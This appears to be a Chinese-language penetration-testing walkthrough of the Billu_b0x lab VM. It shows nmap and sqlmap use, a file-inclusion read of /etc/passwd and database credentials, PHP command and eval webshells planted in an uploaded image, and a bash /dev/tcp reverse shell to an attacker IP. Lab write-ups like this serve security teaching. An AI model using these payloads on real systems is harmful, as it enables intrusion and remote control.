1. 程式人生 > >8. 滲透測試案例(一)

8. 滲透測試案例(一)

點擊 web應用 python HA sql註入 用戶 get請求 kali log

靶機說明

虛擬機難度中等,使用ubuntu(32位),其他軟件包有:

  • PHP

  • apache

  • MySQL

目標

Boot to root:從Web應用程序進入虛擬機,並獲得root權限。

運行環境

  • 靶機:使用VMWare打開虛機,網絡連接方式設置為net,靶機自動獲取IP。

  • 攻擊機:同網段下有Windows攻擊機,安裝有Nmap、Burpsuit、Sqlmap、nc、Python2.7、DirBuster、AWVS、Nessus等滲透工具,kali攻擊機,主要用Windows攻擊機完成實驗。

信息收集

  • ip發現

  • 首先kali本機的IP為

技術分享圖片

啟動Billu_b0x

虛擬機,由於虛機網絡設置為net模式,使用Nmap掃描VMware Network Adapter VMnet8網卡的NAT網段C段IP,即可找到虛機IP,命令:

nmap -sP 192.168.1.1/24

技術分享圖片

獲得靶機ip 192.168.1.112

  • 端口和服務識別

使用nmap掃描1-65535全端口,並做服務識別和深度掃描(加-A參數),命令:

nmap -p 1-65535 -A 192.168.1.112

技術分享圖片

發現目標主機端口和服務如下:

端口 協議 後端服務

TCP 22 SSH OpenSSH 5.9p1

TCP 80 HTTP Apache httpd 2.2.22

進入web首頁:發現用戶名口令輸入框,並提示“Show me your SQLI skills”。

技術分享圖片

漏洞挖掘

  • 漏洞挖掘思路:

(1) SQL註入:首頁提示註入,想辦法註入成功。

(2) 暴破目錄:用DirBuster暴破,看是否有新網頁,找新漏洞;

(3) 漏洞掃描:暴破的新網頁,送進AWVS或APPScan掃漏洞;

(4) 手動挖掘:暴破的新頁面,通過Firefox掛burp代理,在burp中觀察Request和Response包,手動找漏洞;

(5) 查看每個網頁的源碼,看是否有提示;。

(6) 如得到用戶名,密碼,嘗試登錄ssh,如能連接上,無需反彈shell了。

  • 步驟1:測試首頁SQL註入

(1) 在用戶名輸入框輸入admin‘ or ‘a‘=‘a -- 密碼隨意,發現無法註入,出現js彈框Try again:

技術分享圖片

(2) 使用sqlmap進行post註入測試,命令:

sqlmap.py -u “http://192.168.1.112” --data "un=admin&ps=admin&login=let%27s+login" --level 3 --dbms mysql

技術分享圖片

sqlmap註入檢測完成,結果無法註入,目前不知道系統對註入的過濾規則是什麽,使用幾個sqlmap的tamper測試也未成功。暫時先不fuzz註入,看看暴破目錄。

  • 步驟2:windows使用禦劍,DirBuster暴破目錄,同時使用kali Linux的dirb暴破,為得到更多的暴破結果,並減少暴破時間:

技術分享圖片技術分享圖片

得到頁面較多,test.php、add.php、in.php、c.php、index.php、show.php等,目錄有:uploaded_images,phpmy,images依次訪問:

  • 步驟3:利用文件包含漏洞獲取php源碼、passwd文件

(1) 訪問test.php:頁面提示file參數為空,需要提供file參數

技術分享圖片

測試文件包含:http://192.168.1.112?file=/etc/passwd 發現無法包含,頁面沒有反應。

技術分享圖片

(2) 在Firefox的Hackbar或者Brupsuit中,將get請求,變更為post請求,文件包含成功,獲得passwd文件。

技術分享圖片

(3) 查看passwd文件,發現1個id 1000的賬號ica,ssh連接的用戶名可以是ica或root:

技術分享圖片

(4) 通過同樣文件包含的方法,下載add.php、in.php、c.php、index.php、show.php、panel.php等文件,後面可以訪問文件的同時,審計文件的源代碼。

技術分享圖片

add.php

技術分享圖片

add.php是一個上傳界面,但是功能無法使用,查看源碼文件發現只是個頁面,沒有後臺處理代碼。in.php是php info信息。

  • 步驟5:查看c.php源碼

這是數據庫連接文件,發現mysql連接用戶名密碼:

用戶名:billu

密碼:b0x_billu

數據庫名:ica_lab

c.php

技術分享圖片

  • 步驟6:通過得到的mysql密碼登錄phpmyadmin

技術分享圖片

技術分享圖片

得到WEB登陸的用戶名

技術分享圖片

  • 步驟7:繼續暴破phpmy目錄,文件包含phpmyadmin配置文件

(1) phpmyadmin的默認的配置文件是:config.inc.php。需要猜測路徑,通過URL猜測路徑默認在/var/www/phpmy下面。

(2) 在火狐瀏覽器的Hackbar或者Burpsuit中,通過文件包含,讀取config.inc.php文件,Hackbar的獲取方法:

技術分享圖片

  • 步驟8:使用xshell ssh登錄root賬號,完成實驗

獲取shell

  • 步驟9:登錄index首頁,並獲得cmd shell和反彈shell

(1) 使用web密碼登錄首頁,大小寫必須一樣。

技術分享圖片

登錄後是賬號管理界面,賬號是加勒比海盜的兩位主角船長:傑克·斯帕羅和巴博薩船長。多寫一句,本人更喜歡巴博薩船長,一個像敵人一樣的海盜朋友,幽默、勇敢、陰險狡詐、霸道野心、老謀深算。

兩個賬號的頭像圖片地址,在之前暴破出來:http://192.168.1.112/uploaded_images/

技術分享圖片

(2) 點擊add user進入添加賬號界面,這是一個圖片上傳,思路是利用圖片上傳和文件包含獲得shell。

技術分享圖片

查看之前test文件包含獲得的panel.php源碼,發現panel.php存在本地文件包含漏洞:

技術分享圖片

下載一張http://192.168.1.112/uploaded_images/中的圖片jack.php,文本編輯器打開,在文件中間或末尾加入一句話cmd命令馬

<?php system($_GET[‘cmd‘]); ?> 將文件 joker.php 上傳成功

技術分享圖片

(3) 使用burp執行命令: post請求url中加入執行命令的參數:POST/ panel.php?cmd=cat%20/etc/passwd;ls

post的body中包含cmd.jpg圖片馬:load=/uploaded_images/cmd.jpg&continue=continue

成功執行命令cat /etc/passwd;ls

技術分享圖片

或者在hackbar裏面:

技術分享圖片

(4) 用bash反彈shell

命令:echo "bash -i >& /dev/tcp/192.168.1.109/4444 0>&1" | bash

需要將命令url編碼:

技術分享圖片

在post的url中發送命令:

技術分享圖片

nc接收反彈shell成功:

技術分享圖片

  • 步驟12:找一個可寫權限目錄,寫入菜刀馬

文件上傳目錄uploaded_images為寫權限目錄,進入該目錄,寫一個菜刀馬:

echo ‘<?php eval($_POST[‘joker‘]);?>‘ >> joker.php

技術分享圖片

直接菜刀鏈接即可

8. 滲透測試案例(一)